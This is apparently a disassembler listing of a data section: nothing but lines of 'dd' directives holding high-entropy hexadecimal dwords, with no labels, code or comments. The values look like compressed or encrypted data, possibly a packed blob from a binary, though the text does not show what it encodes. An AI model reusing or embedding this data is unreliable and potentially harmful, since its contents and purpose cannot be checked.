		dd 25EC1C4Eh, 80422A2Bh, 270880A6h, 6FBE068Eh, 0F89AD8BBh
		dd 0DD699B13h, 83CC5030h, 60884DD2h, 0A5E06132h, 8052107Eh
		dd 46EACEF4h, 2BFD8006h, 9C976402h, 0E14D9E2Fh,	0FEC5904h
		dd 0F274008Dh, 0E9FAC3CCh, 0BA95480Dh, 165CD608h, 0C39004FCh
		dd 0F91E048Dh, 706B5C97h, 4322604h, 0C8D363C4h,	0AE3AE4A7h
		dd 5CF57470h, 0B4BB4AE0h, 0AE05DE98h, 64845409h, 9A800F0h
		dd 0B713F04Bh, 47B38400h, 0C302F92Ch, 341C7D59h, 1EC454D5h
		dd 6664014Eh, 60044FF4h, 6C07C0D4h, 0E4719F02h,	8E80AEFh
		dd 0C0F6B512h, 0CC692575h, 0B06E602Fh, 82A5A435h, 547C91A4h
		dd 613C3E80h, 7092C07h,	3D1DA8D8h, 0C4AFC0C3h, 6407A1E6h
		dd 9DDDFC1Eh, 0E52E16F0h, 0A360059Eh, 546583h, 0E4EC0490h
		dd 4F1C632Bh, 8440B3A5h, 2F5CB20Fh, 60AD5F0Ah, 73CD642Ch
		dd 0CA186895h, 70845D83h, 0F820E76h, 0B1403EA8h, 0B2F25C0Dh
		dd 96AFC0A8h, 8A1E5492h, 3FB0BFCh, 7265CD44h, 0CC1100FDh
		dd 0E0F54802h, 819D6CEAh, 9483CEFCh, 0BE13E83Ch, 244F22Fh
		dd 98CAF6BDh, 0BF0441FBh, 6DCC618Bh, 0C720DC64h, 9160125Fh
		dd 678A3CDh, 283D8466h,	0C4A39D28h, 1000DF6Eh, 244C10E9h
		dd 9818C238h, 0E8823B23h, 0FEAE7E80h, 0B67932ABh, 6820714Eh
		dd 13A91DC2h, 5DCEA6E1h, 0F0922DC8h, 0F85D3C50h, 5E030C54h
		dd 715CD093h, 7930CFA9h, 0EACF7B80h, 48BBCAF5h,	0AD137200h
		dd 0BF759465h, 98502Bh,	0E900B7BEh, 91FB1E74h, 0B95C9D5h
		dd 0B02CEA52h, 96BE34E8h, 0CA07A10Ah, 0A5009574h, 0D9FBEE7Ch
		dd 0E24109DBh, 68847242h, 297080D1h, 0CA09B798h, 0B646Bh
		dd 0F287CCCh, 225C1918h, 6A8278E1h, 183CE02Dh, 0B6B7310h
		dd 15E6095h, 0AD5764E8h, 0F4F4C0E6h, 0D54E0006h, 8FA58365h
		dd 443CDCA3h, 0A26B18EAh, 9575D811h, 40BC48CEh,	5461100h
		dd 96ED196h, 0EE63E10Fh, 178A074h, 2F248158h, 648B7C06h
		dd 0D8809710h, 3886C05Ch, 1796E63Bh, 70221C47h,	0E0AB5504h
		dd 331E4C30h, 96D84997h, 0D0A1E4EBh, 9B0198E5h,	0AD09F88Bh
		dd 8615D0A0h, 1E0581B7h, 703C6305h, 2CF931CBh, 54E46F17h
		dd 99ED40D3h, 2E3F200h,	5750054Bh, 5A2C2D69h, 0B07E3825h
		dd 30FCEAF8h, 0E0E278D2h, 30F12B89h, 2095029h, 407C59E8h
		dd 284FE4C4h, 1E239D1Ch, 53DC54FDh, 60957C90h, 754BF950h
		dd 99AF60Bh, 0AD8FEACBh, 183C40D1h, 0BDB9B838h,	0B5CA2EF3h
		dd 897F4238h, 0C8FEDB02h, 0DDFAE8h, 1BBD31BAh, 7B0423C4h
		dd 0E2C91C3Fh, 0D9F1FC28h, 4F4C26CCh, 4F5CEB25h, 2C40EFA0h
		dd 1DCE740Fh, 0C83A9130h, 721E89F4h, 649B0119h,	335D6A94h
		dd 44442E39h, 6B00D616h, 2BFBFF5Fh, 8E0150E6h, 0DF8A0B90h
		dd 647C7982h, 65E1BC05h, 0E890356Fh, 4060935Ch,	0A8BE995Ch
		dd 474EAC8h, 8A4410F0h,	64C5BB6Fh, 9D33D060h, 80C160C9h
		dd 9F631E68h, 2A74D800h, 1DF84066h, 0A0E86FAAh,	82FB76E7h
		dd 44FA9BCAh, 2866A600h, 0FA3452B0h, 65F0002Eh,	409D296h
		dd 0A4A04551h, 247B3DE1h, 73200C92h, 20C8B031h,	1D137816h
		dd 803A227h, 88E8CD2Ch,	0EAAF4B2Bh, 473A34EAh, 0C41CB831h
		dd 0A0E0CCEFh, 0BD4F1Eh, 614EDC98h, 314BACBFh, 0C95C0880h
		dd 0CF24BA93h, 386E043Ch, 6CED69C0h, 0EA14A614h, 841D9Ah
		dd 1E59ABC2h, 0C9E0FD79h, 5448C0D4h, 4730EAD3h,	4BF883Dh
		dd 0E804EBE3h, 245C6040h, 0EC9DF947h, 55E704CBh, 0C8C4D17Dh
		dd 62605FDCh, 1DF1EBE8h, 22703D9h, 0B5C16D1h, 8860908Dh
		dd 40096703h, 0CD693Eh,	0E0DFD498h, 332B02A9h, 18764A32h
		dd 3287041h, 8A282FE6h,	1AC8A8E0h, 9CD32002h, 91331Dh
		dd 30670454h, 0B0FE7Bh,	18B09033h, 0E0994AF2h, 469564B0h
		dd 0E9BE20ECh, 0D92C7225h, 8BFF04CCh, 2D60A92Eh, 6010CA02h
		dd 8009DD08h, 43269026h, 200A847h, 3D48DC3Ah, 95C100E9h
		dd 7F7B824Eh, 10135C22h, 74F46D8Ah, 0E80103ECh,	0A1E45FA7h
		dd 9089AC7h, 148431C3h,	131CB8A8h, 90A4DDDAh, 143A3F15h
		dd 33DE4060h, 0DDA111B7h, 5CE08085h, 8482FFE7h,	88395A73h
		dd 11093154h, 10E8BC1Fh, 0BCB6A94h, 4461847Eh, 7B03F872h
		dd 0DE3288E2h, 80C2C29Bh, 56C3C108h, 3AA8907Ah,	1D0ED6E1h
		dd 3564E522h, 3000C35Bh, 6641FFA2h, 4888198h, 26F98C23h
		dd 2C4527Ah, 77E19B70h,	0C74280DEh, 0C240FE16h,	7310426Eh
		dd 0C88C5ABCh, 1E254E24h, 0B93C7AFAh, 3DE28920h, 10BDF0EEh
		dd 82B6112Ch, 0AA366840h, 1268E497h, 0E050AD99h, 0FA603C80h
		dd 0D7577538h, 0C06D50DBh, 798A4F8h, 859FE90Dh,	0B1644010h
		dd 28001979h, 0FC7C2765h, 0ED211654h, 6385E8h, 51A03931h
		dd 556BCCBBh, 9BF52D0Fh, 0C94300F1h, 7B6C4813h,	5063019Ch
		dd 38E6E885h, 543F20A0h, 19912501h, 0B07C9BFAh,	0C849DF0h
		dd 6CF11011h, 9748F010h, 0AF9F07BFh, 0F5808918h, 308509CCh
		dd 0E7785B4Bh, 173F54A4h, 0F8878DEAh, 0F1F03875h, 0A1630069h
		dd 0AEB7E2CEh, 0F21FCC42h, 0B80A722Ch, 0FE2508E6h, 0AD293062h
		dd 8703509Bh, 0B0713806h, 535DA039h, 61183093h,	58AD4B0h
		dd 7C0C9EE0h, 0B8A034ABh, 0B11B600Fh, 0DCCC558Bh, 9719841Ah
		dd 35FE0688h, 0AD370729h, 60E1201Bh, 0DD4E2536h, 33AE8900h
		dd 8F2B580Ah, 0CCA95C99h, 6F312F00h, 0B989A719h, 7C9FB600h
		dd 0F03C6D25h, 85350C6Ch, 8A608DD6h, 90FFCD30h,	0F03C5D27h
		dd 705C6062h, 0CA04E777h, 8DE0AD1Fh, 85A19F41h,	38B09514h
		dd 4635B989h, 0C28A37Ch, 163DA818h, 223C0F25h, 0B21D2227h
		dd 2F7C00ACh, 0D4AB9C10h, 0FCC6DF0h, 146FC520h,	746AF212h
		dd 3D9900Ch, 8E308518h,	611040F3h, 62ADF037h, 69F21098h
		dd 73B11880h, 101D1455h, 38C57A62h, 3C008D1Eh, 0BC3C7D27h
		dd 0D1713902h, 0AD2F9Eh, 5176E075h, 0BD548770h,	0DE0367D8h
		dd 838FA042h, 25800708h, 89B7CC5Dh, 0EA890C10h,	78583163h
		dd 0B7810055h, 3CE286D9h, 723289FDh, 8265794Fh,	81BA97A8h
		dd 620208C0h, 0A3AF6880h, 76637750h, 38051A0Eh,	4A0A81E8h
		dd 91D071EAh, 490778D6h, 0F80728B0h, 0C4B17C7Bh, 8108523h
		dd 1D0A3318h, 2C64B0B5h, 0E2078521h, 0D474C88Fh, 0A46FB03h
		dd 45FD4555h, 206CF2D0h, 8A9857A0h, 0A82AB730h,	63741083h
		dd 0C7084869h, 0C4E96101h, 3DA48554h, 6D715884h, 0CC1A8081h
		dd 8305FA9Ch, 0FCF40E87h, 81459C4Fh, 0B16C8584h, 98B74A00h
		dd 0B5302360h, 288775DBh, 8C880993h, 10E94CB0h,	2F0A253Fh
		dd 0C689BF3h, 0BB20E41Eh, 1C993D3Ah, 6C00B904h,	0FB0F87A4h
		dd 0DB89070h, 0B6185569h, 470C2060h, 9F5A0E05h,	0F380841Dh
		dd 2A87AB20h, 49C43944h, 88823C79h, 30494785h, 180C31E8h
		dd 10101FB0h, 7C5CB6h, 9B49248Bh, 863AAFF7h, 1CEE7B26h
		dd 64316D92h, 3E110561h, 0F19C4055h, 4576D286h,	0E637FA03h
		dd 3ED46EF2h, 0AF007F11h, 0B2160927h, 0B7243188h, 340A00A1h
		dd 250A7071h, 0A8E8E065h, 3EE30886h, 555302D9h,	903D101Dh
		dd 0EA0BC080h, 0F500868Eh
		dd 72E3CC2Eh, 0E876BFF2h, 21A61E77h, 2887008Dh,	36A2C179h
		dd 2D1AE601h, 0DCF39BF7h, 0FCCCFC43h, 34AF1903h, 18AC8030h
		dd 4B9BE41h, 0B815250Ah, 31948DDAh, 0AFA080C7h,	0E3871D1Eh
		dd 0FC363A7Ah, 0A971489Ah, 11C0DC8Eh, 0B7CD3B07h, 2125E601h
		dd 87202AC2h, 289F59C5h, 0A55C4ADh, 89C83AEh, 41502FD3h
		dd 81241C90h, 8761F81Dh, 20870649h, 82419F92h, 0A04089E5h
		dd 19787E57h, 20109430h, 36E24DEh, 8A0B97E3h, 40009BF4h
		dd 0A4179573h, 0C0AEAFE8h, 256DDEBCh, 85149780h, 98437C6h
		dd 879C9649h, 10893D48h, 76FFF190h, 36140FA9h, 4600F42Fh
		dd 0AE1DAC03h, 8ACC3Bh,	0F686EB63h, 1DC1E7FBh, 0C78EF215h
		dd 0C01D1944h, 0B01E67F3h, 8DB25A00h, 0BDF26332h, 8B0F0091h
		dd 179637D4h, 0C301262Eh, 83F5F6BEh, 9FF08F59h,	1AE0618h
		dd 10F3D184h, 4C261701h, 3283F13Bh, 38AF7BE0h, 774210Eh
		dd 5907F937h, 0DBE841A9h, 0CC1FE153h, 0A258500Fh, 0A06C0034h
		dd 544AAD09h, 9CF41E2Ch, 841F80FBh, 9F383DDBh, 0DD1C2D06h
		dd 18307B9Dh, 78865A85h, 530DCBE7h, 10F7E484h, 7703EDFCh
		dd 6DD5C4Dh, 14705F38h,	32434FFh, 93048B87h, 81A2C483h
		dd 0B2C3280Dh, 890680ECh, 33E92414h, 55109A5Ah,	8199CDCBh
		dd 60BBF02Ch, 5F16D41Eh, 3407C714h, 23331C8Bh, 0E730CF3Ch
		dd 0C71853E9h, 0A60C3114h, 5C650633h, 44265893h, 0F791402Ch
		dd 0AE87D031h, 908C478Fh, 0C8473CD9h, 640C8B28h, 0E9E5A0C1h
		dd 20995241h, 1702885Ch, 48689EC3h, 4862260Ah, 0B0034DD3h
		dd 5AF081EBh, 1813C90h,	0E3BA525Eh, 1E83802h, 148B28D6h
		dd 1F681935h, 8D34DF6Dh, 0C8B209Bh, 0F7A0630Ch,	5AD3298Eh
		dd 215BDE60h, 0DFE45EF7h, 61D5E915h, 0E2ED0EBCh, 2923E1CCh
		dd 0B9705DEFh, 0D2C9CA6Eh, 8B9C1EABh, 80DDD504h, 7D40E524h
		dd 4D7F3B99h, 0CFB0CD9Dh, 0F5A772A9h, 4711023h,	860E5C1h
		dd 0B4C27F5Ch, 0EA01068Bh, 5A4C32E9h, 3B69B906h, 40FA58C3h
		dd 893C562Bh, 956319E6h, 0BFFCD6BBh, 2A0EDD37h,	7F48206Eh
		dd 5FFD010Fh, 4B2F2559h, 31D6DA43h, 0CEE93F5h, 33556808h
		dd 8E443037h, 8172EFh, 0C840DD6h, 4C7835Dh, 44188748h
		dd 0AE3168D2h, 3E083905h, 0B8F18100h, 4AED0A07h, 0E8D4CA89h
		dd 0BD717394h, 9543D46Fh, 0DB72B729h, 55609870h, 1908EE57h
		dd 8A0BDA23h, 0D545F8CAh, 0E9FD8906h, 0AC40E22Ah, 4C576695h
		dd 8001401Eh, 0D7F651E7h, 0DFD1EFD0h, 0F9FAC7E4h, 0E2C8FDCh
		dd 4F8282Ah, 0E9525B80h, 50D8D731h, 81EB760Ch, 505A24ADh
		dd 4F9295F4h, 8B985B68h, 0C15F6100h, 8102E7h, 0E15567CFh
		dd 42C4681Fh, 7E83CDAAh, 0D33B01B9h, 2FFC0951h,	0E1CA0329h
		dd 602AA25Ch, 0A3E9D906h, 0CB2662F6h, 95900868h, 0F8918E3Ah
		dd 55E28AB9h, 5D409468h, 1C3CBB53h, 8D18E921h, 42498F2Eh
		dd 8F8389F2h, 779F74FFh, 5C10EC58h, 0E99C6654h,	302FB536h
		dd 3EE383CCh, 0FF37818Eh, 0B4806F03h, 293D9644h, 0FD30C87Dh
		dd 0EABB3240h, 23FE3D7Eh, 4F14310h, 0C0B60F5Ah,	94C8583h
		dd 14F757A1h, 0A85F6D91h, 817DB0E3h, 2035CB02h,	43FA2931h
		dd 46C2D253h, 83844413h, 488716CCh, 67B3005Ch, 0C052E380h
		dd 0E97A08EBh, 5C29EA6Ch, 60C37A31h, 0EE014738h, 7EDE875Dh
		dd 9C4016D2h, 655EEB81h, 0E4017FD2h, 2112C1D3h,	315C1A74h
		dd 4382C22Fh, 0C1A03520h, 0F7B7241Ch, 27AC681Ah, 51A40115h
		dd 0D452AEE9h, 1C828966h, 0E9540CD6h, 5912211Dh, 383A8893h
		dd 2CD81DF3h, 0A5B4E90Ch, 0BE562858h, 0F2010112h, 0E089505Eh
		dd 830B4105h, 898D47E8h, 6C43CB13h, 2B5A21FAh, 94E91F09h
		dd 0F61D99FAh, 6CC2CAD5h, 8CBEA1EAh, 0E20D6E80h, 91285826h
		dd 0A7F3013Dh, 1C8BD830h, 6B19B833h, 246A372Ch,	0B303531Ch
		dd 885150FBh, 0F1E893DDh, 0BE5230CBh, 234A3C1h,	0F5E1120Dh
		dd 55AF005Eh, 21249D31h, 511F5D98h, 0C1693C68h,	29ECBB80h
		dd 0A4E939BDh, 0EDB901D3h, 312C6A47h, 0CDE330D9h, 0F9933FB0h
		dd 833B6A4h, 0EB4C2605h, 33F40CE4h, 2472F21Dh, 29F67603h
		dd 0F94F5AD7h, 1E874635h, 832BB652h, 107E507Dh,	4EFC119h
		dd 0B2600306h, 0D86412B3h, 0B66B0042h, 3187BFC9h, 0A855C2CCh
		dd 655C814Eh, 127523B9h, 0BF41F921h, 35316802h,	52731F33h
		dd 106ADCD9h, 8A6E9E08h, 86F12954h, 347D9AE9h, 3A01BA7Ch
		dd 0EAC138F8h, 46CC8107h, 0DD7A05B8h, 8C539D68h, 0A500BE8Ah
		dd 813A9F55h, 3B6869C6h, 0E6031C03h, 7A3B7912h,	92841DE5h
		dd 0DAB10421h, 201618DDh, 48C177AEh, 6A7E4931h,	10D88152h
		dd 64B073D1h, 0E5FAA20h, 0B22DD8F7h, 253240FEh,	4AA66ACBh
		dd 78A80500h, 36E9BD99h, 5A2CCB7Eh, 3F559700h, 59F86993h
		dd 0C5CF8354h, 8BAE99A4h, 48EDF559h, 6A382EA2h,	0CC6066Fh
		dd 56AC10h, 7475B850h, 0E9972ED1h, 0DB780524h, 4492CC67h
		dd 2000931h, 763E4CCFh,	0E29814Ch, 867B1748h, 7B2373FBh
		dd 0F5E06056h, 0EC885066h, 246C8A0Fh, 0A03EAB02h, 0F99DB96Fh
		dd 32A27ABBh, 0C6D18A29h, 74AA4913h, 0DA005838h, 5B67EA80h
		dd 0C90FB753h, 458EB450h, 9C826DCCh, 0E2C001DBh, 63CAEC04h
		dd 0F2EAFE73h, 0D5303817h, 480B8552h, 0ECBC1493h, 0CEDCFD44h
		dd 0FAB2822h, 45110208h, 6C2934B3h, 0A229308h, 100824CBh
		dd 92ED8A19h, 2C7732F2h, 2909D010h, 454F0F2Dh, 8A56F715h
		dd 0B802CC33h, 0F6372B05h, 62E87E01h, 2C8B0E2Dh, 0C0ECCF93h
		dd 550B6EC3h, 2931BDECh, 0C6C5145Ch, 9201B641h,	5D989928h
		dd 5459F868h, 2364D391h, 570DCE81h, 0FEE1D000h,	8004C960h
		dd 732859C1h, 98D69BC8h, 0EE7FE80Ch, 3B1A4082h,	0DBEB54DFh
		dd 9A643F68h, 0E57E2CD8h, 0B25D0842h, 5C3869EAh, 0E2538049h
		dd 0E3A0241Ch, 94CA2128h, 333306EBh, 6093122h, 0A384C3E9h
		dd 83207FF2h, 48E4C20Fh, 49BE68AAh, 72171F26h, 0D28637E1h
		dd 4EC62DC2h, 3EC3C982h, 63BF0FD8h, 92E9490Bh, 61379A4Ah
		dd 1008039h, 679858C7h,	53C6489h, 8844D284h, 5F9CE689h
		dd 0BA865DA5h, 74ACCD28h, 262C0AC5h, 71ADE828h,	8BCECEEFh
		dd 48A85DF6h, 0F90FBD55h, 0C6252C56h, 3978DABCh, 0C02CC8FEh
		dd 0E51162Dh, 0C5095B42h, 59EE9A02h, 0D202D3E0h, 0FFEDA492h
		dd 6B5E0D26h, 0AD325400h, 98D6F70Ch, 5022E74Dh,	3ED00429h
		dd 7D9D272Ah, 48AE90B2h, 0D41CEAC1h, 8458BAF6h,	8820BC51h
		dd 46794D6Eh, 838D8842h, 100480Ch, 962CD4Ch, 63302C5h
		dd 0C1063175h, 0BB685C0Dh, 0E28F4D13h, 18203CE6h, 0D1400011h
		dd 0D44305E8h, 0D9FA614Eh, 5CC0E564h, 400303E4h, 0B2A8338Ah
		dd 22C4F91Ah, 47C46488h, 71D7512h, 0F8FE98E2h, 49A43A68h
		dd 4B774F49h, 49E4988h,	12E95D38h, 80265FBAh, 0E816FAF5h
		dd 0C3F8B22Dh, 2ADBB08Ah, 81250701h, 0EBFC7FDCh, 0DBF6338Dh
		dd 0CBC16328h, 21683E1h, 0F75BDC88h, 5E4C031h, 0FC8CECF8h
		dd 50C27EF4h, 0F7A5EBE5h, 500B0262h, 3820775h, 87054FD0h
		dd 20358744h, 0BE06510Bh, 666F1F13h, 595465AFh,	518343D8h
		dd 0EEFEDAE9h, 49FEF6A3h, 1664AED8h, 0F628866h,	0E718CE6Ah
		dd 0CAB8351h, 30C34E4h,	3D46E92Bh, 0C6FE281Dh, 0CE7170C9h
		dd 943AF6ECh, 4C2D00A7h, 12069E4h, 8358C11Ah, 66F129B2h
		dd 4DE979D2h, 0C1100B16h, 2C891848h, 8073701Ah,	171D252Dh
		dd 0DF404683h, 108D77Ah
		dd 0D98F8h, 5BF51490h, 0F702E1C1h, 0F2E9D112h, 0FE019F43h
		dd 1706C75Fh, 90D9848h,	79E15D7Eh, 0DA0B17ABh, 245F37A4h
		dd 17E020B4h, 67A5A22h,	8D30A8B5h, 633BD002h, 63C331FAh
		dd 0C63D9838h, 22C75C85h, 4C016554h, 970505D9h,	13CF122h
		dd 4167DBD8h, 51E9D874h, 0C67C3937h, 8041C6Dh, 0F7921984h
		dd 66CF9453h, 0C643851h, 2366B800h, 21256B27h, 6AE2E2Ah
		dd 8342655h, 5A097B18h,	0DE4E0759h, 3B49B60Fh, 4B65CC5Bh
		dd 82A110F8h, 48045989h, 7F538855h, 4AC80518h, 0B765BCCh
		dd 0EE0977D8h, 7BF61803h, 27059BBFh, 0B09C84F1h, 890957D1h
		dd 0B08468E7h, 4A4BA95h, 0E93FEA39h, 369BA19Bh,	48D65275h
		dd 9E9259D9h, 5EBDF758h, 0B65C8383h, 7017447Bh,	2677AB1Dh
		dd 1132F8A8h, 42ED557Fh, 4457428Dh, 68500237h, 42C660C8h
		dd 7202CA41h, 0A7979D2h, 1B52784Ch, 0B01737A8h,	7BB32C79h
		dd 7D38222Ah, 385CC755h, 4D1D942Dh, 56E01063h, 424FE90Ah
		dd 0D671A0E8h, 0BBD0078Eh, 8157A048h, 421CD1F2h, 53DF4969h
		dd 0BA60A903h, 7CBE86Bh, 614B2425h, 0E29F0E05h,	0DA21EA20h
		dd 4A12425Bh, 0E6D22BE9h, 9D3451E5h, 7EAA83h, 0A7685358h
		dd 0E92E5011h, 2E311C2Dh, 0EA9CE981h, 0C4A1CA9Ch, 29391CADh
		dd 5E5D0149h, 3C450C68h, 0C04DCF0Eh, 0E18164E2h, 8F6551BCh
		dd 14EBC9D8h, 987CF119h, 0E045F549h, 0B93C9EE1h, 5D54550Ah
		dd 12884857h, 0B274C802h, 37C92118h, 2465F624h,	128E2BB8h
		dd 0A3789151h, 105C6804h, 9049CBA8h, 0F2965D78h, 131DE150h
		dd 0BB623CFh, 4F75F17h,	0ECCC7F1Eh, 2AA17EB8h, 4A850AD6h
		dd 0C3661047h, 7494313Dh, 1600BD0Bh, 29ED1DEBh,	89095BDFh
		dd 42C1E9F9h, 0FB434014h, 30A4220Dh, 69B145FCh,	39881416h
		dd 0F65D5DA3h, 3DEA83B1h, 6AE91F14h, 214741A4h,	0D91344C3h
		dd 0BD01786Ch, 604CE4DCh, 5E5C116h, 0F034CAC1h,	54E392A8h
		dd 0B9588B1Dh, 5D68C3EDh, 3A4BE294h, 57E10051h,	9179D7BFh
		dd 9FE92E44h, 5453E134h, 2D4265Bh, 883D18BFh, 32894015h
		dd 7191067Dh, 3BD7A6E9h, 0E7B5C281h, 0C18F29AAh, 4E0C123h
		dd 7C0B0858h, 6193251Fh, 0AF73507h, 0FAC631C3h,	0C957C358h
		dd 0B028348Bh, 8EFB0186h, 0C0063C5Dh, 0E9C0B70Fh, 78FD69BFh
		dd 0C95364A4h, 504EF56Bh, 36C968FBh, 65F7CD92h,	6660FA8Fh
		dd 433EB983h, 9BA27E4h,	1CA9B917h, 5D4B901h, 2968878Bh
		dd 0ACD2A695h, 0F79131E3h, 0A14DDDDEh, 0AB4FFC3Dh, 339061F1h
		dd 631EE9Bh, 305C0D25h,	0B4D5F5ABh, 0A194A16h, 2E745202h
		dd 545009D8h, 7E676D82h, 0C0EAC102h, 0B4E51E2Dh, 716B808Bh
		dd 295A3098h, 8759CB0Ah, 0C90761Ch, 0A741EE24h,	0D570D812h
		dd 0E1A52790h, 84C9B6A4h, 68038854h, 0E72A57D4h, 0BF0EC28Ah
		dd 1871D11h, 78E30BBAh,	6AFAD560h, 2EBD065Fh, 6CD04223h
		dd 6137B60Fh, 528B3B2h,	81D99354h, 2D450641h, 0C17E37A9h
		dd 59DAF3F0h, 25727B9Ch, 0F990D82Ah, 250732B8h,	0E0D164CCh
		dd 0D7D48CF4h, 60518862h, 1471E21Ch, 0DE5A10DCh, 98080121h
		dd 0EEC00364h, 0BC9B8002h, 93A0062Eh, 33B088h, 0CA81DAF7h
		dd 0CE05103Ch, 53A26843h, 0BBF638Ch, 5926485Eh,	1FEF2F60h
		dd 0F6A96D15h, 7505038Eh, 2A1DB411h, 0C8B10C4h,	508768C2h
		dd 0B1A96F8Dh, 0A6D874D3h, 21ECD962h, 61D78EEAh, 6B087ED2h
		dd 0B437ACF8h, 6F7CE29Bh, 8A78020Bh, 3ED0A34h, 0F3BBD9ACh
		dd 835BADD9h, 58E78816h, 267AF380h, 90C0806h, 6EA06602h
		dd 0D7300BB2h, 0C0145AF0h, 4A8503E7h, 38058600h, 266ECC3Eh
		dd 209FF001h, 604C9808h, 0DBEB774Eh, 550654Ah, 3AC7E7E5h
		dd 0BD7257ADh, 5E88E477h, 8DA51681h, 78528210h,	0E073EE47h
		dd 20C1094h, 59C80102h,	8E40C129h, 699311EFh, 0AC14DA3Ch
		dd 3EE1397h, 29060905h,	5E81B216h, 0ED30C283h, 72E4600Dh
		dd 32E6805Bh, 0D8ECF6A1h, 5AFE2CF6h, 0E1907454h, 594CCFE4h
		dd 85A07E66h, 832AB252h, 30278B28h, 16EE8BF8h, 22E924F5h
		dd 0A4BE80A0h, 4E20310Eh, 81D6F700h, 6F1DC5CEh,	0E9461554h
		dd 13EFE35h, 0DFB25925h, 0ECE96048h, 349359D7h,	3ADFD154h
		dd 0D3291486h, 0CD0D7C5Ah, 1268CB5Dh, 816BF04h,	3FC1FD00h
		dd 5FE94B05h, 4976092Eh, 95F22380h, 2905A277h, 0D18959CAh
		dd 9E5CF588h, 0E82527F5h, 68479196h, 753E3830h,	0E31AE424h
		dd 1DCEE9C3h, 0C9FA895Fh, 0E0103F44h, 0D3302EA9h, 69C40C6Eh
		dd 0B054984Dh, 5303A183h, 5D25E16Ch, 7198A546h,	5A65692Eh
		dd 4B1AB4C0h, 56520743h, 97E54CBEh, 98F2F5BDh, 7A2EE935h
		dd 5A9C3532h, 0E59EA0Eh, 0EE68C2D0h, 58D2A376h,	340A5F1Dh
		dd 265DA42Bh, 897DCA5Dh, 731D42EAh, 0A56884A6h,	293A343h
		dd 7F503C5Ah, 0F213C0D1h, 0E96D14CBh, 0F04C406h, 81307C29h
		dd 392C8BE8h, 3105925Eh, 3A9305E9h, 71C7A85Bh, 2D201C43h
		dd 37648308h, 14E5D829h, 500F9507h, 8147A009h, 763BB1F1h
		dd 0BA0C823Eh, 0F81B9543h, 73CD249Ch, 0A1CC6922h, 2E505120h
		dd 6277875Eh, 0D0E83CD2h, 5080C6D8h, 7DF00B8h, 0EA05189Fh
		dd 67036042h, 5258C531h, 5A86CD89h, 0E94C9C4Dh,	9F82C5CCh
		dd 92556C2h, 59A7E2FBh,	0F4554410h, 1D0C5D18h, 206B900Ch
		dd 4F0370DCh, 105EB67h,	8DEEF2DEh, 14170C08h, 1A2D20CAh
		dd 0BC9043C5h, 0BA525700h, 0F5282DB4h, 4CB0D969h, 4E982F71h
		dd 3829270Bh, 8A1A0062h, 1214C6E4h, 1E5AD789h, 0B2698140h
		dd 756DE970h, 0B6132066h, 0DA601764h, 41BBA198h, 9FF83DF1h
		dd 6082E716h, 66C9405Bh, 2EF2665h, 3E2400F6h, 0CA017619h
		dd 580880D0h, 83C1274Dh, 92D78832h, 0CA0FE1FCh,	932DAD00h
		dd 3B66431Dh, 0F40145Dh, 4A9F0559h, 0C53D5872h,	0DD68510Fh
		dd 215F6056h, 1C178C0Ch, 0CFC05EE9h, 285951BAh,	2915B2Bh
		dd 2A410609h, 49E3D2F7h, 0EF04A4BEh, 1A6D6A5h, 2CE9AF80h
		dd 82089626h, 1C947F2Eh, 6872AA80h, 34C15192h, 0DA578E7h
		dd 9B1DD481h, 242907C8h, 284986CFh, 0EAD80F8h, 64311795h
		dd 0A1B1F8C8h, 241967DAh, 81CB365Eh, 122DE986h,	0AAA1F97Ch
		dd 930128F6h, 311F1D06h, 2109FF29h, 813A2CBEh, 0EA8044B2h
		dd 647E5630h, 0D45A40F4h, 66D788DAh, 0E3C51E94h, 0E1867DD0h
		dd 80D112F6h, 0C8E609C1h, 81592AA5h, 7C4E6C86h,	5E54808Ch
		dd 0BE763D68h, 78256225h, 0BCEAD0Fh, 0B53C2FE9h, 93E61ED6h
		dd 206C4D7h, 30F66845h,	28CA2FAAh, 5CDC02BBh, 0EFC17ADDh
		dd 0E2989743h, 34FD6EAh, 0F3C5B817h, 16987002h,	0F659406Ch
		dd 40DD39Ch, 0A72D5EFAh, 3BD9422Ah, 509412E7h, 2C9E6B0h
		dd 571137E4h, 0CCC3E9C1h, 0A7D65A0h, 8123F64h, 0F9F656C0h
		dd 0EEC1A05Eh, 274D14D2h, 0EB41AF4Eh, 14E90800h, 4279B984h
		dd 58037D2Eh, 0D897BA5Bh, 51BD021Fh, 31013B4Dh,	0D47941FFh
		dd 36643373h, 0DC5E0D3Fh, 3E3194E0h, 5D9344C9h,	4011CE38h
		dd 0B6072D7h, 7A7E4383h, 0DBF70E3Bh, 0D58DEB87h, 450E309h
		dd 0B1924615h, 8771D39Eh, 0D0215C00h, 5A590992h, 0C00B8007h
		dd 0B24A840Fh, 77FF13B8h, 7CC20028h, 3155D55Eh,	5813F39Ch
		dd 9C4AD9A6h, 0BC0BBAFDh, 10D7D45h, 0E2C14A31h,	0A95ECB70h
		dd 3E923197h, 25E3B233h, 2410966h, 4C3D9FFh, 0EFB4B04Eh
		dd 792B5804h, 0BC80F329h, 48786AEBh, 0FB341FF2h, 0E90803E8h
		dd 6227853Fh, 1B3B1A5Ch
		dd 0B7C451h, 0C9BF5F29h, 32200664h, 0CF8BEA02h,	0BA6B509Dh
		dd 0F82159A2h, 2245E1h,	6E8C1h,	10289435h, 0F305484Bh
		dd 459D621Dh, 0B0433F42h, 0A82C1E0h, 714BD904h,	25E82DDCh
		dd 0CD8BE363h, 0B06D365h, 137ADE60h, 95EF789h, 26D96BF5h
		dd 3F280794h, 3D54B4D9h, 0F4BF9686h, 620BD227h,	744C5355h
		dd 0C6366025h, 49B69C42h, 76CCE81h, 0C89F200Ah,	6514D9FFh
		dd 88DFA8Ah, 0A414041Ch, 0FFE568C4h, 55696110h,	0FBFCBE03h
		dd 0EED1CD7Dh, 12A25539h, 0A4DD0018h, 31A146F8h, 0F57D648h
		dd 0E16985F6h, 151CE940h, 1F805154h, 3AB4881h, 0E9464E36h
		dd 212C7D73h, 841798DDh, 283BA839h, 306EE90Fh, 2A5E29BCh
		dd 0D2595852h, 82102669h, 0BC6439C2h, 5C7A3C32h, 15ED6E4h
		dd 3344F8D6h, 0A980C301h, 48135DD7h, 3001778h, 0CD35F32Dh
		dd 762FE9CFh, 35921423h, 0B254F8A0h, 27E066EAh,	6DFA5855h
		dd 0A75F1879h, 4BBD0C48h, 0D858F62Eh, 3094537h,	5AE7055Ah
		dd 0EDEB61DBh, 5B1899CDh, 29110232h, 0A2D60CFh,	348BCCA8h
		dd 0E9C3FB91h, 68E11F17h, 0BCC6A5EEh, 52301800h, 0F3BD5576h
